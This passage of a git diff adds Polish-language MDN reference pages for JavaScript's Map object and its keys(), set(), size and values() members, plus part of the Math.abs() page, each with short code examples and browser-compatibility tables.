+<p>{{jsxref("Object", "Obiekty")}} są podobne do Map. W obu przypadkach pozwalają ustawić klucze dla wartości, zwracają te wartości, usuwają klucze i wykrywają czy coś jest przechowywane jako klucz. Z tego powodu (i ponieważ nie było innych wbudowanych alternatyw), <code>Object</code>  był używany wcześniej jako <code>Map</code>. Istnieją jednak ważne różnice pomiędzy <code>Obiektami</code> i <code>Mapami</code>, które powodują, że <code>Map</code> jest lepszym wyborem w pewnych przypadkach:</p>
+
+<ul>
+ <li>Klucze obiektu są {{jsxref("String", "Stringami")}}' i {{jsxref("Symbol", "Symbolami")}}, podczas gdy dla <code>Map</code> mogą być dowolną wartością, włączając w to funkcje, obiekty czy wartości proste.</li>
+ <li>Można łatwo pobrać wielkość mapy używając właściwości <code>size</code>, podczas gdy wielkość obiektu musi być określana ręcznie.</li>
+ <li>Po mapie można iterować bezpośrednio, iteracja po obiekcie wymaga pobrania jego kluczy i iteracji po ich liście.</li>
+ <li>Obiekt posiada prototyp, istnieją więc domyślne klucze, które mogą kolidować z Twoimi kluczami, jeśli nie jesteś ostrożny. Można ominąć ten problem używając <code>Object.create(null)</code> (dostępne od ES5), ale było to rzadko stosowane rozwiązanie.</li>
+ <li>Mapa może osiągnąć lepszą wydajność w scenariuszu, w którym często dodajemy i usuwamy pary klucz-wartość.</li>
+</ul>
+
+<p>Nie oznacza to, że powinno się używać <code>Maps</code> wszędzie. Obiekty są wciąż używane w większości przypadków.  Instancje <code>Map</code> są użyteczne dla kolekcji, warto rozważyć ich zaadaptowanie jedynie w przypadkach, gdy wcześniej używano dla nich obiektów. Obiekty powinny być używane jako rejestr z polami i metodami. Jeśli wciąż nie jesteś pewien czego użyć, pomocne mogą okazać się poniższe pytania:</p>
+
+<ul>
+ <li>Czy klucze są nieznane do momentu uruchomienia programu? Czy potrzebujesz wyszukiwać lub tworzyć je dynamicznie?</li>
+ <li>Czy wszystkie wartości mają ten sam typ? Czy mogą być użyte wymiennie?</li>
+ <li>Czy potrzebujesz kluczy, które nie są typu string?</li>
+ <li>Czy pary klucz-wartość są często dodawane lub usuwane?</li>
+ <li>Czy kolekcja powinna być iterowalna?</li>
+</ul>
+
+<p>Jeśli odpowiedziałeś 'tak' na którekolwiek z tych pytań, prawdopodobnie powinieneś użyć <code>Map</code>. I przeciwnie, jeśli masz zamknięty zbiór kluczy, jeśli musisz odwoływać się do poszczególnych, specyficznych kluczy a każdy z nich ma swoje, odrębne od innych znaczenie, najprawdopodobniej potrzebujesz obiektu.</p>
+
+<h2 id="Własności">Własności</h2>
+
+<dl>
+ <dt><code>Map.length</code></dt>
+ <dd>Wartość <code>length</code>  jest zawsze równa 0.</dd>
+ <dt>{{jsxref("Map.@@species", "get Map[@@species]")}}</dt>
+ <dd>Funkcja konstruktora używana do tworzenia obiektów pochodnych.</dd>
+ <dt>{{jsxref("Map.prototype")}}</dt>
+ <dd>Reprezentuje prototyp funkcji konstruktora <code>Map</code>. Pozwala rozszerzać prototyp wszystkich obiektów <code>Map</code> o własne własności.</dd>
+</dl>
+
+<h2 id="Instancje_Map">Instancje <code>Map</code></h2>
+
+<p>Wszystkie instancje <code>Map</code>  dziedziczą po {{jsxref("Map.prototype")}}.</p>
+
+<h3 id="Własności_2">Własności</h3>
+
+<p>{{page('en-US/Web/JavaScript/Reference/Global_Objects/Map/prototype','Properties')}}</p>
+
+<h3 id="Metody">Metody</h3>
+
+<p>{{page('en-US/Web/JavaScript/Reference/Global_Objects/Map/prototype','Methods')}}</p>
+
+<h2 id="Przykłady">Przykłady</h2>
+
+<h3 id="Używanie_obiektu_typu_Map">Używanie obiektu typu <code>Map</code></h3>
+
+<pre class="brush: js notranslate">var myMap = new Map();
+
+var keyString = 'a string',
+ keyObj = {},
+ keyFunc = function() {};
+
+// setting the values
+myMap.set(keyString, "value associated with 'a string'");
+myMap.set(keyObj, 'value associated with keyObj');
+myMap.set(keyFunc, 'value associated with keyFunc');
+
+myMap.size; // 3
+
+// getting the values
+myMap.get(keyString); // "value associated with 'a string'"
+myMap.get(keyObj); // "value associated with keyObj"
+myMap.get(keyFunc); // "value associated with keyFunc"
+
+myMap.get('a string'); // "value associated with 'a string'"
+ // because keyString === 'a string'
+myMap.get({}); // undefined, because keyObj !== {}
+myMap.get(function() {}) // undefined, because keyFunc !== function () {}
+</pre>
+
+<h3 id="Użycie_NaN_jako_kluczy_w_Map">Użycie <code>NaN</code> jako kluczy w  <code>Map</code></h3>
+
+<p><code>NaN</code> can also be used as a key. Even though every <code>NaN</code> is not equal to itself (<code>NaN !== NaN</code> is true), the following example works, because <code>NaN</code>s are indistinguishable from each other:</p>
+
+<pre class="brush: js notranslate">var myMap = new Map();
+myMap.set(NaN, 'not a number');
+
+myMap.get(NaN); // "not a number"
+
+var otherNaN = Number('foo');
+myMap.get(otherNaN); // "not a number"
+</pre>
+
+<h3 id="Iteracja_po_Map_przy_użyciu_for..of">Iteracja po <code>Map</code> przy użyciu <code>for..of</code></h3>
+
+<pre class="brush: js notranslate">var myMap = new Map();
+myMap.set(0, 'zero');
+myMap.set(1, 'one');
+for (var [key, value] of myMap) {
+ console.log(key + ' = ' + value);
+}
+// 0 = zero
+// 1 = one
+
+for (var key of myMap.keys()) {
+ console.log(key);
+}
+// 0
+// 1
+
+for (var value of myMap.values()) {
+ console.log(value);
+}
+// zero
+// one
+
+for (var [key, value] of myMap.entries()) {
+ console.log(key + ' = ' + value);
+}
+// 0 = zero
+// 1 = one
+</pre>
+
+<h3 id="Iteracja_po_Map_przy_użyciu_forEach">Iteracja po <code>Map</code> przy użyciu <code>forEach()</code></h3>
+
+<pre class="brush: js notranslate">myMap.forEach(function(value, key) {
+ console.log(key + ' = ' + value);
+});
+// Will show 2 logs; first with "0 = zero" and second with "1 = one"
+</pre>
+
+<h3 id="Relacja_do_obiektów_typu_Array">Relacja do obiektów typu <code>Array</code></h3>
+
+<pre class="brush: js notranslate">var kvArray = [['key1', 'value1'], ['key2', 'value2']];
+
+// Use the regular Map constructor to transform a 2D key-value Array into a map
+var myMap = new Map(kvArray);
+
+myMap.get('key1'); // returns "value1"
+
+// Use the spread operator to transform a map into a 2D key-value Array.
+console.log(uneval([...myMap])); // Will show you exactly the same Array as kvArray
+
+// Or use the spread operator on the keys or values iterator to get
+// an array of only the keys or values
+console.log(uneval([...myMap.keys()])); // Will show ["key1", "key2"]
+</pre>
+
+<h2 id="Specyfikacje">Specyfikacje</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specyfikacja</th>
+ <th scope="col">Status</th>
+ <th scope="col">Komentarz</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES2015', '#sec-map-objects', 'Map')}}</td>
+ <td>{{Spec2('ES2015')}}</td>
+ <td>Początkowa definicja</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-map-objects', 'Map')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Kompatybilność_przeglądarek">Kompatybilność przeglądarek</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Chrome</th>
+ <th>Edge</th>
+ <th>Firefox (Gecko)</th>
+ <th>Internet Explorer</th>
+ <th>Opera</th>
+ <th>Safari</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>
+ <p>{{ CompatChrome(38) }} [1]</p>
+ </td>
+ <td>12</td>
+ <td>{{ CompatGeckoDesktop("13") }}</td>
+ <td>11</td>
+ <td>25</td>
+ <td>7.1</td>
+ </tr>
+ <tr>
+ <td>Constructor argument: <code>new Map(iterable)</code></td>
+ <td>{{ CompatChrome(38) }}</td>
+ <td>12</td>
+ <td>{{ CompatGeckoDesktop("13") }}</td>
+ <td>{{CompatNo}}</td>
+ <td>25</td>
+ <td>{{CompatSafari("9")}}</td>
+ </tr>
+ <tr>
+ <td>iterable</td>
+ <td>{{ CompatChrome(38) }}</td>
+ <td>12</td>
+ <td>{{ CompatGeckoDesktop("17") }}</td>
+ <td>{{CompatNo}}</td>
+ <td>25</td>
+ <td>7.1</td>
+ </tr>
+ <tr>
+ <td><code>Map.clear()</code></td>
+ <td>{{ CompatChrome(31) }}<br>
+ {{ CompatChrome(38) }}</td>
+ <td>12</td>
+ <td>{{CompatGeckoDesktop("19")}}</td>
+ <td>11</td>
+ <td>25</td>
+ <td>7.1</td>
+ </tr>
+ <tr>
+ <td><code>Map.keys(), Map.values(), Map.entries()</code></td>
+ <td>{{ CompatChrome(37) }}<br>
+ {{ CompatChrome(38) }}</td>
+ <td>12</td>
+ <td>{{CompatGeckoDesktop("20")}}</td>
+ <td>{{CompatNo}}</td>
+ <td>25</td>
+ <td>7.1</td>
+ </tr>
+ <tr>
+ <td><code>Map.forEach()</code></td>
+ <td>{{ CompatChrome(36) }}<br>
+ {{ CompatChrome(38) }}</td>
+ <td>12</td>
+ <td>{{CompatGeckoDesktop("25")}}</td>
+ <td>11</td>
+ <td>25</td>
+ <td>7.1</td>
+ </tr>
+ <tr>
+ <td>Key equality for -0 and 0</td>
+ <td>{{ CompatChrome(34) }}<br>
+ {{ CompatChrome(38) }}</td>
+ <td>12</td>
+ <td>{{CompatGeckoDesktop("29")}}</td>
+ <td>{{CompatNo}}</td>
+ <td>25</td>
+ <td>{{CompatSafari("9")}}</td>
+ </tr>
+ <tr>
+ <td>Constructor argument: <code>new Map(null)</code></td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>12</td>
+ <td>{{CompatGeckoDesktop("37")}}</td>
+ <td>11</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatSafari("9")}}</td>
+ </tr>
+ <tr>
+ <td>Monkey-patched <code>set()</code> in Constructor</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>12</td>
+ <td>{{CompatGeckoDesktop("37")}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatSafari("9")}}</td>
+ </tr>
+ <tr>
+ <td><code>Map[@@species]</code></td>
+ <td>{{CompatChrome("51")}}</td>
+ <td>13</td>
+ <td>{{CompatGeckoDesktop("41")}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatOpera("38")}}</td>
+ <td>{{CompatSafari("10")}}</td>
+ </tr>
+ <tr>
+ <td><code>Map()</code> without <code>new</code> throws</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>12</td>
+ <td>{{ CompatGeckoDesktop("42") }}</td>
+ <td>11</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatSafari("9")}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Android</th>
+ <th>Chrome for Android</th>
+ <th>Firefox Mobile (Gecko)</th>
+ <th>IE Mobile</th>
+ <th>Opera Mobile</th>
+ <th>Safari Mobile</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatNo}}</td>
+ <td>{{ CompatChrome(38) }} [1]</td>
+ <td>{{ CompatGeckoMobile("13") }}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>8</td>
+ </tr>
+ <tr>
+ <td>Constructor argument: <code>new Map(iterable)</code></td>
+ <td>{{CompatNo}}</td>
+ <td>{{ CompatChrome(38) }}</td>
+ <td>{{ CompatGeckoMobile("13") }}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>9</td>
+ </tr>
+ <tr>
+ <td>iterable</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{ CompatGeckoMobile("17") }}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>8</td>
+ </tr>
+ <tr>
+ <td><code>Map.clear()</code></td>
+ <td>{{CompatNo}}</td>
+ <td>{{ CompatChrome(31) }}<br>
+ {{ CompatChrome(38) }}</td>
+ <td>{{CompatGeckoMobile("19")}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>8</td>
+ </tr>
+ <tr>
+ <td><code>Map.keys(), Map.values(), Map.entries()</code></td>
+ <td>{{CompatNo}}</td>
+ <td>{{ CompatChrome(37) }}<br>
+ {{ CompatChrome(38) }}</td>
+ <td>{{CompatGeckoMobile("20")}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>8</td>
+ </tr>
+ <tr>
+ <td><code>Map.forEach()</code></td>
+ <td>{{CompatNo}}</td>
+ <td>{{ CompatChrome(36) }}<br>
+ {{ CompatChrome(38) }}</td>
+ <td>{{CompatGeckoMobile("25")}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>8</td>
+ </tr>
+ <tr>
+ <td>Key equality for -0 and 0</td>
+ <td>{{CompatNo}}</td>
+ <td>{{ CompatChrome(34) }}<br>
+ {{ CompatChrome(38) }}</td>
+ <td>{{CompatGeckoMobile("29")}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ </tr>
+ <tr>
+ <td>Constructor argument: <code>new Map(null)</code></td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatGeckoMobile("37")}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>9</td>
+ </tr>
+ <tr>
+ <td>Monkey-patched <code>set()</code> in Constructor</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatGeckoMobile("37")}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>9</td>
+ </tr>
+ <tr>
+ <td><code>Map[@@species]</code></td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatGeckoMobile("41")}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>10</td>
+ </tr>
+ <tr>
+ <td><code>Map()</code> without <code>new</code> throws</td>
+ <td>5.1</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatGeckoMobile("42")}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>9</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Starting with Chrome 31, the feature was available behind a preference. In <code>chrome://flags</code>, activate the entry “Enable Experimental JavaScript”.</p>
+
+<h2 id="Zobacz_też">Zobacz też</h2>
+
+<ul>
+ <li><a class="link-https" href="https://bugzilla.mozilla.org/show_bug.cgi?id=697479">Map and Set bug at Mozilla</a></li>
+ <li><a class="external" href="http://wiki.ecmascript.org/doku.php?id=harmony:simple_maps_and_sets">ECMAScript Harmony proposal</a></li>
+ <li>{{jsxref("Set")}}</li>
+ <li>{{jsxref("WeakMap")}}</li>
+ <li>{{jsxref("WeakSet")}}</li>
+</ul>
diff --git a/files/pl/web/javascript/referencje/obiekty/map/keys/index.html b/files/pl/web/javascript/referencje/obiekty/map/keys/index.html
new file mode 100644
index 0000000000..8723e295ab
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/map/keys/index.html
@@ -0,0 +1,78 @@
+---
+title: Map.prototype.keys()
+slug: Web/JavaScript/Referencje/Obiekty/Map/keys
+tags:
+ - ECMAScript 2015
+ - Iterator
+ - JavaScript
+ - Mapa
+ - Metodă
+ - Prototyp
+translation_of: Web/JavaScript/Reference/Global_Objects/Map/keys
+---
+<div>{{JSRef}}</div>
+
+<p>Metoda <code><strong>keys()</strong></code> zwraca nowy obiekt typu <strong><a href="/pl/docs/Web/JavaScript/Guide/Iterators_and_Generators">Iterator</a></strong>, który zawiera klucze dla każdego elementu w <code>Mapie</code>. Można się do nich odnieść w takiej kolejności, jakiej zostały wstawione.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/map-prototype-keys.html")}}</div>
+
+
+
+<h2 id="Składnia">Składnia</h2>
+
+<pre class="syntaxbox"><code><em>myMap</em>.keys()</code></pre>
+
+<h3 id="Zwracana_wartość">Zwracana wartość</h3>
+
+<p>Nowy iterator obiektu typu {{jsxref("Map")}}</p>
+
+<h2 id="Przykłady">Przykłady</h2>
+
+<h3 id="Używanie_keys()">Używanie <code>keys()</code></h3>
+
+<pre class="brush:js">var myMap = new Map();
+myMap.set('0', 'foo');
+myMap.set(1, 'bar');
+myMap.set({}, 'baz');
+
+var mapIter = myMap.keys();
+
+console.log(mapIter.next().value); // "0"
+console.log(mapIter.next().value); // 1
+console.log(mapIter.next().value); // Object
+</pre>
+
+<h2 id="Specyfikacja">Specyfikacja</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specyfikacja</th>
+ <th scope="col">Status</th>
+ <th scope="col">Komentarz</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES2015', '#sec-map.prototype.keys', 'Map.prototype.keys')}}</td>
+ <td>{{Spec2('ES2015')}}</td>
+ <td>Definicja początkowa.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-map.prototype.keys', 'Map.prototype.keys')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Kompatybilność_z_przeglądarkami">Kompatybilność z przeglądarkami</h2>
+
+
+
+<p>{{Compat("javascript.builtins.Map.keys")}}</p>
+
+<h2 id="Zobacz_również">Zobacz również</h2>
+
+<ul>
+ <li>{{jsxref("Map.prototype.entries()")}}</li>
+ <li>{{jsxref("Map.prototype.values()")}}</li>
+</ul>
diff --git a/files/pl/web/javascript/referencje/obiekty/map/set/index.html b/files/pl/web/javascript/referencje/obiekty/map/set/index.html
new file mode 100644
index 0000000000..951cefd229
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/map/set/index.html
@@ -0,0 +1,96 @@
+---
+title: Map.prototype.set()
+slug: Web/JavaScript/Referencje/Obiekty/Map/set
+tags:
+ - ECMAScript 2015
+ - JavaScript
+ - Mapa
+ - Metodă
+ - Prototyp
+translation_of: Web/JavaScript/Reference/Global_Objects/Map/set
+---
+<div>{{JSRef}}</div>
+
+<p>Metoda <code><strong>set()</strong></code> dodaje lub zmienia element o podany <code>kluczu</code> i <code>wartości</code> w <code>Mapie</code>. </p>
+
+<div>{{EmbedInteractiveExample("pages/js/map-prototype-set.html")}}</div>
+
+
+
+<h2 id="Składnia">Składnia</h2>
+
+<pre class="syntaxbox"><code><em>myMap</em>.set(key, value);</code></pre>
+
+<h3 id="Parametry">Parametry</h3>
+
+<dl>
+ <dt>key</dt>
+ <dd>Wymagany. Klucz elementu, który zostanie dodany do <code>Mapy</code>.</dd>
+ <dt>value</dt>
+ <dd>Wymagany. Wartość elementu, który zostanie dodany do <code>Mapy</code>.</dd>
+</dl>
+
+<h3 id="Zwracana_wartość">Zwracana wartość</h3>
+
+<p> Obiekt typu <code>Map</code>.</p>
+
+<h2 id="Przykłady">Przykłady</h2>
+
+<h3 id="Używanie_set()">Używanie <code>set()</code></h3>
+
+<pre class="brush: js">var myMap = new Map();
+
+// Dodawanie nowych elementu
+myMap.set('bar', 'foo');
+myMap.set(1, 'foobar');
+
+// Zmiana istniejącego już elementu
+myMap.set('bar', 'baz');
+</pre>
+
+<h3 id="Używanie_set_w_połączeniu_z_łańcuchowaniem">Używanie <code>set</code> w połączeniu z łańcuchowaniem</h3>
+
+<p>Ponieważ <code>set()</code> zwraca ten sam obiekt typu <code>Mapa</code>, można użyć chainingu (uruchamianie metod jedna po drugiej na danym obiekcie przy użyciu kropek).</p>
+
+<pre class="brush: js">// Dodawanie elementów do mapy za pomocą chainingu
+myMap.set('bar', 'foo')
+ .set(1, 'foobar')
+ .set(2, 'baz');
+
+</pre>
+
+<h2 id="Specyfikacja">Specyfikacja</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specyfikacja</th>
+ <th scope="col">Status</th>
+ <th scope="col">Komentarz</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES2015', '#sec-map.prototype.set', 'Map.prototype.set')}}</td>
+ <td>{{Spec2('ES2015')}}</td>
+ <td>Definicja początowa.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-map.prototype.set', 'Map.prototype.set')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Kompatybilność_z_przeglądarkami">Kompatybilność z przeglądarkami</h2>
+
+
+
+<p>{{Compat("javascript.builtins.Map.set")}}</p>
+
+<h2 id="Zobacz_również">Zobacz również</h2>
+
+<ul>
+ <li>{{jsxref("Map")}}</li>
+ <li>{{jsxref("Map.prototype.get()")}}</li>
+ <li>{{jsxref("Map.prototype.has()")}}</li>
+</ul>
diff --git a/files/pl/web/javascript/referencje/obiekty/map/size/index.html b/files/pl/web/javascript/referencje/obiekty/map/size/index.html
new file mode 100644
index 0000000000..0ec1025e46
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/map/size/index.html
@@ -0,0 +1,65 @@
+---
+title: Map.prototype.size
+slug: Web/JavaScript/Referencje/Obiekty/Map/size
+tags:
+ - JavaScript
+ - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Map/size
+---
+<div>{{JSRef}}</div>
+
+<p>Atrybut <code><strong>size</strong></code> zwraca ilość elementów znajdujących się w obiekcie {{jsxref("Map")}}.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/map-prototype-size.html")}}</div>
+
+<p class="hidden">Żródło dla tego przykładu interaktywnego jest przechowywane w repozytorium w serwisie GitHub. Jeśli chciałbyś pomoć przy projekcie przykładów, prosimy o sklonowanie repozytorium <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> i wysłanie pull request.</p>
+
+<h2 id="Opis">Opis</h2>
+
+<p>Wartość <code>size</code> to liczba reprezentująca ile elementów posiada obiekt <code>Map</code>. Funkcja set dla <code>size</code> to <code>undefined</code>; nie można edytować tego atrybutu.</p>
+
+<h2 id="Przykłady">Przykłady</h2>
+
+<h3 id="Użycie_size">Użycie <code>size</code></h3>
+
+<pre class="brush:js">var myMap = new Map();
+myMap.set('a', 'alpha');
+myMap.set('b', 'beta');
+myMap.set('g', 'gamma');
+
+myMap.size // 3
+</pre>
+
+<h2 id="Specyfikacja">Specyfikacja</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specyfikacja</th>
+ <th scope="col">Status</th>
+ <th scope="col">Komentarz</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES2015', '#sec-get-map.prototype.size', 'Map.prototype.size')}}</td>
+ <td>{{Spec2('ES2015')}}</td>
+ <td>Definicja początkowa.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-get-map.prototype.size', 'Map.prototype.size')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Kompatybilność">Kompatybilność</h2>
+
+<div class="hidden">Tabela kompatybilności na tej stronie jest generowana z danych zewnętrznych. Jeśli chciałbyś pomóc przy tych danych, polecamy zajrzeć na <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> i wysłać pull request.</div>
+
+<p>{{Compat("javascript.builtins.Map.size")}}</p>
+
+<h2 id="Zobacz_także">Zobacz także</h2>
+
+<ul>
+ <li>{{jsxref("Map")}}</li>
+</ul>
diff --git a/files/pl/web/javascript/referencje/obiekty/map/values/index.html b/files/pl/web/javascript/referencje/obiekty/map/values/index.html
new file mode 100644
index 0000000000..50a7d72d0f
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/map/values/index.html
@@ -0,0 +1,77 @@
+---
+title: Map.prototype.values()
+slug: Web/JavaScript/Referencje/Obiekty/Map/values
+tags:
+ - ECMAScript 2015
+ - Iterator
+ - JavaScript
+ - Mapa
+ - Metodă
+ - Prototyp
+translation_of: Web/JavaScript/Reference/Global_Objects/Map/values
+---
+<div>{{JSRef}}</div>
+
+<p>Metoda <code><strong>values()</strong></code> zwraca nowy obiekt typu <strong><a href="/pl/docs/Web/JavaScript/Guide/Iterators_and_Generators">Iterator</a></strong>, który zawiera wartości dla każdego elementu w <code>Mapie</code>. Można się do nich odnieść w takiej kolejności, jakiej zostały wstawione.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/map-prototype-values.html")}}</div>
+
+
+
+<h2 id="Składnia">Składnia</h2>
+
+<pre class="syntaxbox"><code><em>myMap</em>.values()</code></pre>
+
+<h3 id="Zwracana_wartość">Zwracana wartość</h3>
+
+<p>Nowy iterator obiektu typu {{jsxref("Map")}}.</p>
+
+<h2 id="Przykłady">Przykłady</h2>
+
+<h3 id="Używanie_values()">Używanie <code>values()</code></h3>
+
+<pre class="brush:js">var myMap = new Map();
+myMap.set('0', 'foo');
+myMap.set(1, 'bar');
+myMap.set({}, 'baz');
+
+var mapIter = myMap.values();
+
+console.log(mapIter.next().value); // "foo"
+console.log(mapIter.next().value); // "bar"
+console.log(mapIter.next().value); // "baz"</pre>
+
+<h2 id="Specyfikacja">Specyfikacja</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specyfikacja</th>
+ <th scope="col">Status</th>
+ <th scope="col">Komentarz</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES2015', '#sec-map.prototype.values', 'Map.prototype.values')}}</td>
+ <td>{{Spec2('ES2015')}}</td>
+ <td>Definicja początkowa.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-map.prototype.values', 'Map.prototype.values')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Kompatybilność_z_przeglądarkami">Kompatybilność z przeglądarkami</h2>
+
+
+
+<p>{{Compat("javascript.builtins.Map.values")}}</p>
+
+<h2 id="Zobacz_również">Zobacz również</h2>
+
+<ul>
+ <li>{{jsxref("Map.prototype.entries()")}}</li>
+ <li>{{jsxref("Map.prototype.keys()")}}</li>
+</ul>
diff --git a/files/pl/web/javascript/referencje/obiekty/math/abs/index.html b/files/pl/web/javascript/referencje/obiekty/math/abs/index.html
new file mode 100644
index 0000000000..c3b333a4ce
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/math/abs/index.html
@@ -0,0 +1,54 @@
+---
+title: Math.abs()
+slug: Web/JavaScript/Referencje/Obiekty/Math/abs
+tags:
+ - JavaScript
+ - Math
+ - Method
+translation_of: Web/JavaScript/Reference/Global_Objects/Math/abs
+---
+<p>{{JSRef}}</p>
+
+<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2>
+
+<p>Zwraca wartość bezwzględną danej liczby.</p>
+
+<p><math display="block"><semantics><mrow><mstyle mathvariant="monospace"><mrow><mo lspace="0em" rspace="thinmathspace">Math.abs</mo><mo stretchy="false">(</mo><mi>x</mi><mo stretchy="false">)</mo></mrow></mstyle><mo>=</mo><mrow><mo stretchy="false">|</mo><mi>x</mi><mo stretchy="false">|</mo></mrow><mo>=</mo><mrow><mo>{</mo><mtable columnalign="left left"><mtr><mtd><mi>x</mi></mtd><mtd><mtext>if</mtext><mspace width="1em"></mspace><mi>x</mi><mo>&gt;</mo><mn>0</mn></mtd></mtr><mtr><mtd><mi>0</mi></mtd><mtd><mtext>if</mtext><mspace width="1em"></mspace><mi>x</mi><mo>=</mo><mn>0</mn></mtd></mtr><mtr><mtd><mo>-</mo><mi>x</mi></mtd><mtd><mtext>if</mtext><mspace width="1em"></mspace><mi>x</mi><mo>&lt;</mo><mn>0</mn></mtd></mtr></mtable></mrow></mrow><annotation encoding="TeX">{\mathtt{\operatorname{Math.abs}(x)}} = {|x|} = \begin{cases} x &amp; \text{if} \quad x \geq 0 \\ -x &amp; \text{if} \quad x &lt; 0 \end{cases} </annotation></semantics></math></p>
+
+<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2>
+
+<pre class="syntaxbox"><code>Math.abs(<var>x</var>)</code></pre>
+
+<h3 id="Parametry" name="Parametry">Parametry</h3>
+
+<dl>
+ <dt><code>x</code> </dt>
+ <dd>liczba.</dd>
+</dl>
+
+<h2 id="Opis" name="Opis">Opis</h2>
+
+<p>Ponieważ <code>abs</code> jest statyczną metodą obiektu {{jsxref("Math")}}, zawsze odwołujemy się do niej poprzez <code>Math.abs()</code>, a nie jak do metody instancji obiektu {{jsxref("Math")}} utworzonej przez użytkownika.</p>
+
+<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2>
+
+<h3 id="Przyk.C5.82ad:_Zastosowanie_Math.abs" name="Przyk.C5.82ad:_Zastosowanie_Math.abs">Przykład: Zastosowanie <code>Math.abs()</code></h3>
+
+<p>Poniższa funkcja zwraca wartość bezwzględną zmiennej <code>x</code>:</p>
+
+<pre class="brush: js">Math.abs('-1'); // 1
+Math.abs(-2); // 2
+Math.abs(null); // 0
+Math.abs('string'); // NaN
+Math.abs(); // NaN
+</pre>
+
+<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2>
+
+<ul>
+ <li>{{jsxref("Math.ceil()")}}</li>
+ <li>{{jsxref("Math.floor()")}}</li>
+ <li>{{jsxref("Math.round()")}}</li>
+ <li>{{jsxref("Math.sign()")}} {{experimental_inline}}</li>
